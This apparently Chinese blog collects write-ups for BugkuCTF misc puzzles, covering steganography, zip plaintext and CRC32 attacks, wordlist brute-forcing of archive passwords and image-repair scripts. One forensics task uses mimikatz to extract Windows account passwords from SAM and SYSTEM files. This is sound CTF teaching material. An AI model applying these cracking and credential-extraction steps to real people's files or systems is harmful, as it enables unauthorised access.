之前做的题在BugkuCTF 部分题解(一)

佛系更新

2月3日更新了ezbypass
11月9日更新了奇怪的压缩包
11月7日更新了这个flag，就是逊啦、不可以破译的密码

bugku

佛系更新
MISC
- 七七的礼物
- 奇怪的压缩包
- 这个flag，就是逊啦
- 不可以破译的密码
- 真正的爱情
- ez_misc
- Happy ZQ
- 粉色的猫
- 请叫我艺术家
- simple MQTT
- Where is flag Plus
- yst的小游戏
- 图片里的英文
- TLS
- 图片里的中文
- miko不会jvav啊
- 学不会jvav我哭辽
- 黑客的照片
- look
- 美丽的烟火
- disordered_zip
- easypicture
- 再也没有纯白的灵魂
- easy_python
- 简单套娃DX
- 做题要细心-1
- 简单取证1
- 南城旧梦
- 成果狗成果狗
Crypto
- No Ciphertext RSA
- RSSSSSA
- where is flag 5
Web
- ezbypass
- no selection
- 留言板

MISC

七七的礼物

个别地方有点意思，但总体非常套，没有写wp的欲望。。。。。

具体过程参考出题人的wp

奇怪的压缩包

给了三张图，首先是shumu.bmp，bmp的话优先考虑lsb隐写和silencenteye隐写，是后者，解出第一组数据

然后是xiaoshumu.png，B0通道发现一个二维码，扫码得到一些十六进制数据

还有一个jpg，是jphs隐写，密码在exif信息中

解出第三组数据，拼接在一起得到一个加密的压缩包

flag3直接crc32爆破得到CTF-，爆破得到flag2.txt的密码是456789，内容为an-excellent-。猜想一下flag1.txt的密码也许是123456？猜对了，内容是flag{Bugku-is-。

猜想之后是要明文攻击，用bkcrack应该也可以跑，具体可以参考我另一篇wp。

因为上次打完比赛重装系统了，再次安装bkcrack出现了问题，所以这里就用ARCHPR进行攻击了，首先对于明文攻击，要明确：

1.AES256加密方式不适用
2.ZipCrypto Deflate和ZipCrypto Store可以使用

可见flag1.txt和flag2.txt是AES-256，也导致了如果用ARCHPR直接打开这个压缩包，会显示：明文攻击不适合这个文件。

解决办法是，用010editor打开压缩包，删去flag1.txt和flag2.txt对应部分的数据(这部分自行探索，全教了就没意思了)，然后再用winrar对得到的压缩包进行修复。效果如下

测试一下可以得知flag4.txt的内容就是前面得到的三段伪flag拼凑起来：flag{Bugku-is-an-excellent-CTF-

然后正常明文攻击就行，记得搜索完口令到如下界面时，直接停止即可得到解密后的文件。

flag就在flag.txt中，不过前面得到的flag{Bugku-is-an-excellent-CTF-是段伪flag，最后一个单词很好猜，但是真正的flag对前面的字符都进行了混淆替换，别想着猜flag了。

这个flag，就是逊啦

提示：第一层有两个hint；数字→文字→数字
第二层：0→1，1→0

不可以破译的密码

第一层类似维吉尼亚

lt = [['P', 'Q', 'L', 'N', 'E', 'Y', 'O', 'D', 'H', 'R', 'J', 'M', 'B', 'K', 'C', 'T', 'F', 'U', 'A', 'Z', 'S', 'X', 'I', 'W', 'V', 'G'],
['H', 'R', 'V', 'K', 'E', 'I', 'Y', 'B', 'J', 'G', 'M', 'Q', 'P', 'C', 'X', 'D', 'F', 'N', 'Z', 'T', 'U', 'O', 'L', 'A', 'W', 'S'],
['S', 'N', 'U', 'K', 'R', 'T', 'P', 'B', 'O', 'E', 'X', 'G', 'A', 'V', 'Z', 'Q', 'D', 'J', 'H', 'W', 'C', 'Y', 'I', 'M', 'L', 'F'],
['J', 'T', 'K', 'Q', 'V', 'F', 'L', 'X', 'D', 'Z', 'W', 'U', 'O', 'A', 'M', 'I', 'E', 'B', 'Y', 'G', 'P', 'R', 'S', 'H', 'C', 'N'],
['J', 'Z', 'B', 'L', 'E', 'P', 'K', 'G', 'N', 'O', 'A', 'C', 'R', 'U', 'I', 'S', 'D', 'M', 'F', 'V', 'X', 'H', 'Q', 'T', 'W', 'Y']]d = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"x = 0f = open('cipher_text.txt','r')
f1 = open('out.txt','w')
for i in f.read():if i.isalpha():ls = lt[x]ind = ls.index(i)flag = d[ind]f1.write(flag)x = (x + 1) % 5else:f1.write(i)
f.close()
f1.close()

得到的结果hex解一下就是zip文件了

一眼crc32碰撞，不过解出来的没有可读的，需要生成字典爆破一下

跑完自己爆破一下。

a = ['2miMR_', '5tnsxt', 'EiAfA8', 'U4YYYg', 'Uytd4o', 'VE0Kvk', 'WEqzmr', 'Yk0Z80', 'ZWtuz4', 'fZ6p89', 'it6avb', 'jHrN4f', 'kimoF3', 'ompnGP', 'wJBCVw', 'z44aEu', 'zXGLA1']
b = ['Bu2vU1', 'GqnFOK', 'JB5Y1A', 'NgvHYn', 'Og7yBw', 'PEM6xo', 'YSU8nJ', 'nhEqbk', 'qVpbYg', 'us3s1H', 'wO6mhU', 'wSy1iA']
c = ['1OFImu', '3sCW4h', 'CO2Rdh', 'DJz0OW', 'DV5lNC', 'Iens0I', 'KYkmiT', 'N1Dpwj', 'XTDP7K', 'ZhANnV', 'eYGdn_', 'geBz7B', 'kVXTRQ', 'lO_jxz', 'oREUS2', 'sqjyCv', 'zgrwUS']
d = ['9pJQTY', 'CG9e94', 'CfguPx', 'G_k89C', 'Li9two', 'MixElv', 'RWMVWz', 'dpSrAV', 'qEdPG7', 'rD13mk', 'uAyQFT', 'w0QrrA']
e = ['33r8sz', '7GSHwI', '9HLxKG', 'BBo1Uk', 'DGfbeM', 'F6NAQX', 'H9QqmV', 'JHyRYC', 'KH8cBZ', 'UvLAbO', 'cQRetc', 'h6bHVS', 'jGJkbF', 'u4RE4B']f = open('password.txt','w')
for i in a:for j in b:for l in c:for m in d:for n in e:s = i+j+l+m+nf.write(s)f.write('\n')
f.close()

套娃解密，最后的密文再解一下栅栏，flag小写

import base64f = open('flag.txt','r')s = f.read()while 1:try:s = base64.b32decode(s)except:try:s = base64.b16decode(s)except:try:s = base64.b64decode(s)except:print(s)break
f.close()

真正的爱情

聊天记录，很明显是摩斯密码，把字替换成-进行解密得到wandwbxdwn(我爱你但我不想耽误你)

另一张图片尾部有压缩文件的数据，提取保存并用得到的密码解压。

熟悉的声音.mp3听起来明显是拨号音，有能力的师傅直接就听出结果了，听不出来的师傅可以参考我另一篇博客的做法，再或者使用dtmf2.exe工具也行。

密码：19865153975，解压缩包，进入下一层。

ppt文件里给了很多图片，真正有用的被藏起来了，众所周知pptx的本质是压缩包，改后缀为zip解压可以翻到两个图片，下图应该是某种替换密码。

google一下就可以找到密码表，则密码为：wdxcyyyzyq(晚冬夏初要永远在一起)

最后这个视频是有点搞的，试了一些隐写都不对，根据视频里文字内容猜想flag可能是前面的密码

以上尝试均寄，直到我暂停完回来发现底部隐约有东西(这个位置一般是被进度条挡住的)

stegsolve处理一下可以得到一部分flag，多试几次就可以得到完整flag

ez_misc

修复abc.rar的文件头，解压出a.zip、b.zip、c.txt

c.txt是jpg图片，修改后缀，修改图片高度得到yQsad6E1，用于解压b.zip，得到一个二维码，扫描得到提示GIF89a。再看flag.docx，下面那行应该是隐藏文字，我默认是可见的，如果看不到自己改一下设置

用得到的密码解压a.zip，得到call.png，结合前面的提示，修改文件头，stegsolve打开得到flag

Happy ZQ

1.txt和2.txt长度都是6，很明显是crc32碰撞，得到_pass_和_word_，合起来之后作为密码解压p.zip

得到Happy_zhong_qiu，用于解压can you find it.zip

passwd.txt是snow隐写，解出Mid-Autumn_Festival，然后解压拿flag…

粉色的猫

压缩包注释TCAACTTAGCTGTGATGATGTTCAGATTAGCTA由ATCG四个字符组成，很容易联想到腺嘌呤A，胸腺嘧啶T，胞嘧啶C，鸟嘌呤G这四个碱基，而这四个碱基是组成DNA的基本单元。

于是猜想这可能是DNA相关的一种加密，查到一篇文档：https://arxiv.org/pdf/0903.2693.pdf

可以发现解密过程，除了已知的密文序列外，还需要知道对应的密码本。但是本体中只给了一串密文，猜想不是这一种加密。

然后又找见一个DNA翻译的脚本

s = 'TCAACTTAGCTGTGATGATGTTCAGATTAGCTA'table = {'ATA':'I', 'ATC':'I', 'ATT':'I', 'ATG':'M','ACA':'T', 'ACC':'T', 'ACG':'T', 'ACT':'T','AAC':'N', 'AAT':'N', 'AAA':'K', 'AAG':'K','AGC':'S', 'AGT':'S', 'AGA':'R', 'AGG':'R','CTA':'L', 'CTC':'L', 'CTG':'L', 'CTT':'L','CCA':'P', 'CCC':'P', 'CCG':'P', 'CCT':'P','CAC':'H', 'CAT':'H', 'CAA':'Q', 'CAG':'Q','CGA':'R', 'CGC':'R', 'CGG':'R', 'CGT':'R','GTA':'V', 'GTC':'V', 'GTG':'V', 'GTT':'V','GCA':'A', 'GCC':'A', 'GCG':'A', 'GCT':'A','GAC':'D', 'GAT':'D', 'GAA':'E', 'GAG':'E','GGA':'G', 'GGC':'G', 'GGG':'G', 'GGT':'G','TCA':'S', 'TCC':'S', 'TCG':'S', 'TCT':'S','TTC':'F', 'TTT':'F', 'TTA':'L', 'TTG':'L','TAC':'Y', 'TAT':'Y', 'TAA':'_', 'TAG':'_','TGC':'C', 'TGT':'C', 'TGA':'_', 'TGG':'W'}
for i in range(len(s)//3):x = s[3*i:3*(i+1)]print(table[x],end="")

跑出的结果是ST_L__CSD_L，不是压缩包密码，猜想掩码爆破，也没得到密码

之前就卡到这个位置不做了，今天有空刷刷文章，偶然看到树木师傅的wp，发现最开始的思路是对的，解密确实需要用到密钥，所以只能使用出题人用的那个在线网站……其他的工具会因为密钥不同无法解出

解得密码：CATISSOCUTE

解得的key.txt的内容看特征应该是PDU编码了，用在线网站逐行解码，最后拼接在一块再转为png文件

图片看起来挺怪的，这个是npiet，可以看看1998师傅的文章

可以用在线网站解，记得科学上网，不然会报Please check the the captcha form.。也可以用工具解。
测试发现：需要将这个图片反色处理之后才能成功解出隐藏的信息。

解得的a=13b=14暂时不知道什么意思，用010打开之前的无后缀文件1，发现是bpg文件。bpg图片不能在windows系统下直接显示，查看方式可以参考misc入门的misc3。

使用工具查看，发现图片无法正常显示。

在前面查询npiet相关资料时，发现这个题考察的知识点和HGAME2022 谁不喜欢猫猫呢差不多，最后一步考察的是Arnold变换(猫脸变换)。

这里的图片需要用工具转为png格式后才能正常使用脚本，Image.open和cv2.imread好像都不支持bpg格式的读取。

变换完再查看可以得到flag。

from PIL import Imageimg = Image.open('out.png')
if img.mode == "P":img = img.convert("RGB")
assert img.size[0] == img.size[1]
dim = width, height = img.sizest = 33
a = 13
b = 14
for _ in range(st):with Image.new(img.mode, dim) as canvas:for nx in range(img.size[0]):for ny in range(img.size[0]):y = (ny - nx * a) % widthx = (nx - y * b) % heightcanvas.putpixel((y, x), img.getpixel((ny, nx)))
canvas.show()
canvas.save('result.png')

请叫我艺术家

word里有个像素画，和一串符号

前者用工具解出半个flag

文档末尾的todpole提示了这串符号是蝌蚪文，在线网站解密得到后半段flag

simple MQTT

解题过程还是简单的，关键是学习了解一下mqtt协议

wireshark打开后，分析→追踪流→TCP流

上面那部分显然是rar文件数据，下半部分则提示了密码为：th1s_1s_rar_p@ssw0rd，解压拿flag

Where is flag Plus

压缩包中共有1936个txt文件，对应序号0-1935，每一个txt的大小都是12，内容像是base64编码，但是解码得到的是乱码，换了几种组合方式后解得的依旧是乱码

转换思路，看看文件的crc32校验值，没有找到规律；但是发现文件的修改时间比较奇怪，而且只有秒数不一样

于是把所有文件解压到一个文件夹下，写个简单脚本分析可知，秒数分布为30-50，再结合文件个数为1936，正好能被8整除

import os
import timeout =[]
flag = ""for i in range(1936):path = r'dir\{}.txt'.format(str(i))# 获取修改时间file_time = os.path.getmtime(path)s = time.ctime(file_time)out.append(int(s[17:19]))
print(max(out)) #50
print(min(out)) #30

于是遍历文件的修改时间，如果秒数大于40，则记为1，否则即为0，再将得到的二进制转hex

import os
import timeflag = ''
out=''for i in range(1936):path = r'dir\{}.txt'.format(str(i))file_time = os.path.getmtime(path)s = time.ctime(file_time)if int(s[17:19]) >= 40:flag += '1'else:flag += '0'if len(flag) == 8:out += hex(int('0b'+flag,2))[2:].zfill(2)flag = ''
print(out)

保存为7z文件，得到snow.txt，看特征明显是snow加密
这里需要密码，得爆破，随便上网找个弱口令字典，运行完了ctrl+f查找有无flag输出就行

import osf = open('wordlist.dic','r')
for line in f.read().splitlines():out = str(os.system('SNOW.EXE -p {} -C snow.txt'.format(line)))

yst的小游戏

bmp文件，考虑lsb或wbstego，后者解出一串hex，转字符得到

#coding=utf-8import os,threadingclass user():MAX_HP=400HP=400MP=200Danger=30Defence=20
class HP():name_1='小瓶生命药水'HP_1=50name_2='大瓶生命药水'HP_2=100name_3='满血药水'HP_3=user.HP
class MP():name_1='小瓶魔法药水'MP_1=50name_2='大瓶魔法药水'MP_2=100name_3='满魔药水'MP_3=user.MP
class USE():name_1='普通攻击'MP_1=0Danger_1=user.Dangername_2='磨刀石'MP_2=10Danger_2=user.Danger*2name_3='鸡汤'MP_3=20Danger_3=user.Danger*3name_4='攻击强化'MP_4=50
print('开始游戏'.center(100,'*'))
print('yst的属性值\t生命值%s\t魔法值%s\t攻击力%s\t防御值%s\t'%(user.HP,user.MP,user.Danger,user.Defence))
level=129
class Boss():HP=300Danger=30Defence=20HP=HP+20*levelMP=400Danger=Danger+3*levelDefence=Defence+level*4
user.Danger=user.Danger-Boss.Defence
Boss.Danger=Boss.Danger-user.Defence
if user.Danger <=0:user.Danger=1
if Boss.Danger <=0:Boss.Danger=1
print('树木的属性值\t生命值%s\t魔法值%s\t攻击力%s\t防御值%s\t'%(Boss.HP,Boss.MP,Boss.Danger,Boss.Defence))
print('战斗开始'.center(100,'*'))
ran=0
while 1:ran=ran+1print('可用技能\t%s 攻击力%s\t%s 攻击力%s\t%s 攻击力%s\t%s 攻击力%s\t'%(USE.name_1,user.Danger,USE.name_2,user.Danger*2,USE.name_3,user.Danger*3,USE.name_4,user.Danger*2))print('可用药水\t%s 回复生命值%s\t%s 回复生命值%s\t%s 回复生命值%s\t\n\t\t%s 回复魔法值%s\t%s 回复魔法值%s\t%s 回复魔法值%s\t'%(HP.name_1,HP.HP_1,HP.name_2,HP.HP_2,HP.name_3,HP.HP_3,MP.name_1,MP.MP_1,MP.name_2,MP.MP_2,MP.name_3,MP.MP_3))use=input('使用:')if USE.name_1 in use:user.MP=user.MP-USE.MP_1if user.MP<USE.MP_1:print('魔力不足,自动使用普通攻击')Boss.HP=Boss.HP-user.Dangerprint('yst使用了%s 对怪物造成了%s伤害'%(USE.name_1,user.Danger))else:user.MP=user.MP-USE.MP_1print('yst使用了%s 对怪物造成了%s伤害'%(USE.name_1,user.Danger))Boss.HP=Boss.HP-user.Dangerelif USE.name_2 in use:if user.MP<USE.MP_2:print('魔力不足,自动使用普通攻击')Boss.HP=Boss.HP-user.Dangerprint('yst使用了%s 对怪物造成了%s伤害'%(USE.name_1,user.Danger))else:user.MP=user.MP-USE.MP_2print('yst使用了%s 对怪物造成了%s伤害'%(USE.name_2,user.Danger*2))Boss.HP=Boss.HP-user.Danger*2elif USE.name_3 in use:if user.MP<USE.MP_3:print('魔力不足,自动使用普通攻击')Boss.HP=Boss.HP-user.Dangerprint('yst使用了%s 对怪物造成了%s伤害'%(USE.name_1,user.Danger))else:user.MP=user.MP-USE.MP_3print('yst使用了%s 对怪物造成了%s伤害'%(USE.name_3,user.Danger*3))Boss.HP=Boss.HP-user.Danger*3elif USE.name_4 in use:if user.MP<USE.MP_4:print('魔力不足,自动使用普通攻击')Boss.HP=Boss.HP-user.Dangerprint('yst使用了%s 对树木造成了%s伤害'%(USE.name_1,user.Danger))else:user.MP=user.MP-USE.MP_4user.Danger=user.Danger*2print('yst使用了%s 对树木造成了%s伤害'%(USE.name_4,user.Danger))Boss.HP=Boss.HP-user.Dangerelif HP.name_1 in use:user.HP=user.HP+HP.HP_1print('yst使用了%s 恢复了%s生命值'%(HP.name_1,HP.HP_1))elif HP.name_2 in use:user.HP=user.HP+HP.HP_2print('yst使用了%s 恢复了%s生命值'%(HP.name_2,HP.HP_2))elif HP.name_3 in use:user.HP=user.HP+HP.HP_3print('yst使用了%s 恢复了%s生命值'%(HP.name_3,HP.HP_3))elif MP.name_1 in use:user.MP=user.MP+MP.MP_1print('yst使用了%s 恢复了%s魔力值'%(MP.name_1,MP.MP_1))elif MP.name_2 in use:user.MP=user.MP+MP.MP_2print('yst使用了%s 恢复了%s魔力值'%(MP.name_2,MP.MP_2))elif MP.name_3 in use:user.MP=user.MP+MP.MP_3print('yst使用了%s 恢复了%s魔力值'%(MP.name_3,MP.MP_3))else:print('没有该道具 自动使用普通攻击')print('yst使用了%s 对树木造成了%s伤害'%(USE.name_1,user.Danger))Boss.HP=Boss.HP-user.Dangeruser.HP=user.HP-Boss.Dangerprint('树木对你造成了%s伤害'%(Boss.Danger))print('yst\t剩余生命值%s\t攻击力%s\t\t防御力%s\t魔法值%s'%(user.HP,user.Danger,user.Defence,user.MP))print('树木\t剩余生命值%s\t攻击力%s\t防御力%s\t\n'%(Boss.HP,Boss.Danger,Boss.Defence))print('第%s回合,结束!!!'%ran)if Boss.HP<=0 and user.HP<=0:print('平局!!!')breakif Boss.HP <=0:print('树木被砍翻了，你赢了!!!\t')breakif user.HP <=0:print('你寄了!!!\t')break

测试一下发现每次攻击强化耗蓝50，使普通攻击和技能伤害*2，同时会造成伤害
最后鸡汤的伤害会是最高的，用作最后几下补伤害

初始血量400，每次被攻击掉血397，第一回合之后剩3滴血；使用满血药水再被攻击血量变成6，如此往复使血量超过397，然后如果当前蓝量不够，则先补蓝，否则释放攻击强化。每次补蓝或者释放技能之后，都执行多次回血操作。

简单模拟这个过程，就可以得到答案。

图片里的英文

先拿到密码I LOV3 CHINA

这个密码还不知道用到哪里，作者给了文件，直接跳到第二步，有五张图片，结合题目描述，需要从中破解出压缩包的密码

这是游戏sifu里的东西，能认出其中有智和义，其实是把传统的仁义礼智信改成了人义尊智诚，这里的顺序是人尊智义诚，不过这五个字所有的排列组合都不是密码。

题目描述是而且仇人拥有5种不同能力，你能破解他们吗。，所以压缩包的密码是木火水金土，对应五个关卡反派的能力

解压之后有两张图片，因为未加密的图片是bmp格式，优先试LSB和wbstego，后者解密出key：虾仁猪心

解压出flag.png，是疯狂动物城里的一幕，结合题目意思可以知道需要找出这张图对应的字幕，是You know you love me

对应题目描述，这句台词大概是密码，应该是某种隐写，不过试了一圈都没解出来…

原来不能直接用图片里的台词，得全换成小写，还得去掉空格，才是正确的密码…

最后一步是有密码的lsb隐写，就很迷惑，空格是可以作为lsb隐写的密码的一部分的，把台词处理过后作为密码，当成一个脑洞点…不理解

python2 lsb.py extract flag.png out.txt youknowyouloveme

TLS

看题目名可以知道本题考察TLS报文的解密，这里用wireshark演示

首先编辑—> 首选项—>RSA密钥，把给的密钥文件选中

然后得到flag

图片里的中文

提示rot47，压缩包注释信息里的密文拿去解密得到Add 5D honey to me，给密文MD5加密一下得到压缩包密码e950c89788db4042193830f49d273512。我的脑洞仅局限于把5D转为十进制，可能对应某个base家族，结果是93

咱也不懂为啥是MD5，而且不理解为什么提示是Add 5D honey to me，但不是给这句话MD5加密，而是给密文MD5加密

解压得到password.txt和key.png，前者内容是AecvWpF9YinwVc7tvKfCGWt28oYiucpd5MEWhghGaaLWKfgTEywz5hmRREEi，这里继续试…

bugku的在线工具、cyberchef等工具均未解出，最后在某网站成功解base58

解出iEeWwc2oGX/DzzdaM1/tdvaWGRodocuXoPMJpAUYMaI=，应该是AES，下面找密码，这是神剧《让子弹飞》里的名场面，这里的台词应该是杀人还要诛心？，结合题目名可以知道这就是密码。

接着就是到各个在线网站疯狂试，最后在某网站成功解出

值得一提的是，选项一样的情况下，去其他几个常用的网站会报错(包括作者给的网站)，总之没有技巧，试就完了

miko不会jvav啊

第一步仍然是找密码，依旧使用strings命令，把流量包里所有字符串存起来作为字典

这里是rar5.0加密，用Accent RAR Password Recovery进行爆破，得到密码Latifa-Fleuranza (非预期)

剩下步骤同学不会jvav我哭辽

学不会jvav我哭辽

拿到一个流量包和加密的压缩包，先用strings命令看一下流量包里有哪些字符串，挨个试了一下都不是密码…

不过其中有这样一句：

于是找到对应的mysql数据流，一个个看

发现多组可疑的数字

看着像八进制的数，转字符得到密码

解压出一个exe文件，按照题目提示需要再一步逆向，但是没找到exe转jar的方法，于是尝试使用逆向工具，ida没撸出来，ce可以

黑客的照片

文件尾部有一段flag：flag{m1s，和压缩包的数据

formost提取出两个压缩包，其中一个是提示，简单rsa拿到密码I_1ove_mumuz1!

from Crypto.Util.number import *
import gmpy2e = 65537
p = 164350308907712452504716893470938822086802561377251841485619431897833167640001783092159677313093192408910634151587217774530424780799210606788423235161145718338446278412594875577030585348241677399115351594884341730030967775904826577379710370821510596437921027155767780096652437826492144775541221209701657278949
q = 107494571486621948612091613779149137205875732174969005765729543731117585892506950289230919634697561179755186311617524660328836580868616958686987611614233013077705519528946490721065002342868403557070176752015767206263130391554820965931893485236727415230333736176351392882266005356897538286240946151616799180309
c = 17210571768112859512606763871602432030258009922654088989566328727381190849684513475124813364778051200650944085160387368205190094114248470795550466411940889923383014246698624524757431163133844451910049804985359021655893564081185136250014784383020061202277758202995568045817822133418748737332056585115499621035958182697568687907469775302076271824469564025505064692884524991123703791933906950170434627603154363327534790335960055199999942362152676240079134224911013272873561710522794163680938311720454325197279589918653386378743004464088071552860606302378595024909242096524840681786769068680666093033640022862042786586612
n= p*q
d = int(gmpy2.invert(e , (p-1) * (q-1)))
m = pow(c ,d ,n)
#passwd:I_1ove_mumuz1!
print(long_to_bytes(m))

另一个压缩包需要手动提取，解压后得到flag2.jpg和flag3.png

flag2.jpg修改图片高度

flag3.png是stegpy隐写

look

后缀改为zip，解压出look.bmp，stegsolve打开，分别在R0、G0、B0通道发现隐写痕迹，提取得到flag，zsteg应该也能一把梭

美丽的烟火

先解zip伪加密

java -jar ZipCenOp.jar r 美丽的烟火.zip

拿到password.txt,base64-base58-栅栏

图片的文件尾有stegpy:shumu，所以用stegpy解密，密码是shumu，解出一串字符aZgs8ImPpQOzO3CVA/wIUVq/M7X8C33ptNZSW2Blenc=

最后找一个在线网站解密就行

个别网站不太行，可以试试下面这两个

http://tool.chacuo.net/cryptaes/
https://the-x.cn/zh-cn/cryptography/Aes.aspx

disordered_zip

binwalk看一下可以发现有俩文件，foremost只能梭出来png

png图片是一个缺了俩定位符的二维码，简单补全扫码得到psw:yeQFPDS6uTaRasdvwLKoEZq0OiUk，这个地方很有迷惑性，psw会被认为是password的简写，从而认为后面这个就是密码，其实还得解一手栅栏(在线网站)

得到了密码vyweLQKFoPEDZSq60uOTiaURk，回头把zip拿出来。这里很明显是加密的zip文件的特征(可以找一个zip加密文件对照着看)

这里是zip加密文件的文件头位置，在最前面补上504B即可。

输入密码，解压出的flag其实是个pdf文件，修复文件头后补上后缀
这里是pdf文件，相关隐写很容易想到webstego4open，解密得到flag

easypicture

图片尾有额外数据，提取出加密的压缩包，爆破得到密码0707

得到俩图片和hint:你喝过咖啡吗？你见过彩色的图片吗？，这里其实提示的是stegsolve

先看ciphertext.png，文件尾有个提示AES,ECB，用stegsolve简单翻找没有找到，直接用ztseg

zsteg -a ciphertext.png

结合提示找到一串密文rcPr04H36Qj+7vt9YFA2KbRyD0yEg+y7mTAQHC82CBM=

接着找key.jpg中藏着的密钥，挨个试工具，最后发现是java盲水印
项目地址：https://github.com/ww23/BlindWaterMark/releases
使用命令：java -jar BlindWatermark.jar decode -c bingbing.jpg decode.jpg

最后到在线网站解密即可

再也没有纯白的灵魂

题目名即为提示，后一句是自人类堕落为半兽人，直接观察密文也能看出来这是兽音译者

~呜嗷BBBUBGUUBUUKBBKGBGUBBKBKBKUUBUGBBBUGUKGUBUUKBUUGBGUBBUBKBKUBBKBBBBUGUKUUBUUKBKKGBGUBBBBKBKUUBKUBBBUUBBBUBUUKUGGGBGUBBBKKBKUUBGBBBBUUBBBUBUUKUGGGBGUBBBKKBKUUBKGBBBUGUGBUBUUGBUBGBGUBUKUKBKUUBUBBBBUGBBUUBUUKUUB啊

这种加密由嗷呜啊~四个字符组成，这里替换成了BUGK，找出规律替换回去

B-嗷   U-呜   G-啊   K-~

不过解出来的是乱码，和正常加密的密文对比一下

可以发现这个位置少了一个啊，加上之后就能解出来了

easy_python

每次运行game.py，先会读取.level文件中的内容，即玩家现在的等级，每次战斗后玩家会升一级，攻击力和防御力提升，而怪物的血量和防御力是不会变的，大概算一下就行。

不想算的话就修改.level文件中的内容，然后运行game.py，最后的答案应该是56390，base64编码后套上flag{}即可

简单套娃DX

下载得到8080个无后缀文件，随便用010editor打开几个，发现都是png文件，不过都存在一些问题，先写脚本给这些文件加上png后缀

import ospath = r'E:\desktop\XD'  #文件夹所在地址
for i in os.listdir('./XD'):    #文件夹名字oldname = os.path.join(path,i)newname = os.path.join(path,i+'.png')os.rename(oldname,newname)

加上后缀后只有一部分文件可以正常打开，剩下的就需要修改，前面发现部分文件缺失了8字节文件头，写脚本对这种文件进行修复，成功修复了1046个文件，说明还有很多图片是其他种类的错误，需要一一找出

import osout = 'output' #存放修复后的文件的文件夹
if not os.path.exists(out):os.makedirs(out)
for i in os.listdir('./XD'):    #文件夹名字file = open('./XD/'+i, 'rb').read()if file[1:4] != b'PNG':file = int(0x89504E470D0A1A0A).to_bytes(8, 'big') + filef = open('./output/' + i + '.png','wb')f.write(file)f.close()

比如说有一些文件是IDAT块跑到IHDR块前面去了

这个过程最好是拿一个正常的png文件过来进行比对，同时使用010editor的模板功能，可以节省很多时间，最后发现有如下几类错误

1.文件头缺失8字节(89504E470D0A1A0A) 如aAnLOyuK文件
2.IDAT块跑到IHDR块前面。如aAWyDGMo文件
3.IHDR块的长度位和标记位替换为00。如aAFRoNjh文件
4.图片的宽高被修改了(正确的应该是5*5) 如abFdgotH文件
5.Color type被修改成不是0的数。如ABmgLXTn文件
6.IDAT块的长度被改为0. 如aAWrIqiP文件
7.IDAT块标记位被删除。如abQZgrjo文件

八神师傅还是很贴心的，每个文件最多一种错误，而且翻了前十个文件就能找出所有种类的错误，写出最终脚本。

import osout = 'output' #存放修复后的文件的文件夹
if not os.path.exists(out):os.makedirs(out)
for i in os.listdir('./XD'):    #文件夹名字file = open('./XD/'+i, 'rb').read()if file[1:4] != b'PNG': #文件头缺失file = int(0x89504E470D0A1A0A).to_bytes(8, 'big') + fileelif file[8:16] == b'\x00\x00\x00\x00\x00\x00\x00\x00': #IHDR块的长度位和标记位替换为00file = file[:8] + int(0x0000000D49484452).to_bytes(8, 'big') + file[16:]elif file[33:37] == b'\x00\x00\x00\x00' and file[37:41] == b'IDAT': #IDAT块的长度被改为0len_idat = file.index(b'eXIf') - 49file = file[:33] + int(len_idat).to_bytes(4, 'big') + file[37:]elif file[12:16] != b'IHDR': #IHDR块位置错误file = file[:8] + file[-37:-12] + file[8:-37] + file[-12:]elif file[16:24] != b'\x00\x00\x00\x05\x00\x00\x00\x05': #图片宽高被修改file = file[:16] + int(0x0000000500000005).to_bytes(8, 'big') + file[24:]elif file[1:4] == b'PNG' and file[12:16] == b'IHDR' and file[37:41] != b'IDAT': #IDAT块标记位被删除file = file[:37] + b'IDAT' + file[37:]elif file[1:4] == b'PNG' and file[12:16] == b'IHDR' and file[25] != b'\x00':  # Color type被修改file = file[:25] + b'\x00' + file[26:]f = open('./output/' + i, 'wb')f.write(file)f.close()

随后得到了8080个5*5的小方块，挨个查看它们的exif信息，可以发现这两个值均不相同，写脚本挨个输出，发现x对应的最大值是449，y对应的是19，应该是坐标

写脚本画图

import os
from PIL import Imageimg = Image.new('RGB',(450*5,20*5),(255,255,255)) #乘以5是因为一张小图是5*5
for i in os.listdir('./output'):    #文件夹名字file = open('./output/'+i, 'rb').read().hex()x = int(file[-64:-56], 16) #x坐标y = int(file[-48:-40], 16) #y坐标x*=5y*=5im = Image.open('./output/'+i)img.paste(im,(x,y,x+5,y+5))img.save('out.png')

做题要细心-1

这个位置有一串二进制，拿出来

注意到file.gif文件尾有额外数据，看特征是文件头不全的gif文件

补全文件头，010editor打开，在类似的位置看到另一串二进制

连在一起，转字符得到Nnb77_buG}，查看第二个gif的exif信息，发现一个字符串，base64解码得到{Ax_S

第二个图片的第20帧有一串字符，md5解密得到bugku，至此flag找全了

简单取证1

下载得到windows系统下一个目录，获取用户名和密码需要用SAM和system两个文件。

把SAM和SYSTEM文件放到Win32文件夹下，运行mimikatz，执行命令

所以flag{administrator-QQAAzz_forensics}

南城旧梦

mmz.bmp文件尾有一段DE@@=<6J:DB625K4，rot47解码后得到stoolkeyisqeadzc

意思是使用工具stool，密码是qeadzc，这个工具使用的话要直接把图片拖进去，解密的话是这个选项，输入密码就可以解出Key.txt，得到把酒言欢.rar的密码mmzbudaiwowuwuwu~~~##

倾听.txt是SNOW隐写，解密可以得到密码表

(1)1 2 3 4 5 6                    (2)1 2 3 4 5 6                  (3)1 2 3 4 5 6! @ # $ % ^                       p f f d e h                     v f s a e y(4)1 2 3 4 5 6                    (5)1 2 3 4 5 6                  (6)1 2 3 4 5 6/ * - + . ?                       F G S F H H                     " " / \ | :    (7)1 2 3 4 5 6                    (8)1 2 3 4 5 6                  (9)1 2 3 4 5 6r o k u g s                       f J L Y G W                     J O P N G W(10)1 2 3 4 5 6F S A S D T

游戏规则在九菊.docx中有描述

看不懂规则，所以用密码表中所有的字符组成字符串，用Accent RAR Password Recovery爆破

!@#$%^pffdehvfsaey/*-+.?FGSFHH/\|:rokugsfJLYGWJOPNGWFSASDT

最后跑出密码是%ee.，解压出key和gpg两个无后缀文件。

key中的内容是

;3%5;3%5;3%5;2 ;5 ; ;%4;3%5;4 ;5
;2 ;open _ ,$0;2 ; ;5 ; ;3;2 ;1%2;4 ; ;5 ;3 ;5
;2 ;7 ;5 ; ;;while (<_>) { ;5 ; ;5 ;1%6;2
;3%5;2%7; ;7 ;2;s;%; ;g;3 ;1%7;2; ;5
;8 ; ;;s’([; ])(\d)’ $1x$2 ; ‘ge;; ; s’\S’;'g; ;4;
s; ;#;g; ; ;5 ; ;5 ; ;5 ; ;5 ; s;;; ;g; ;3 ;
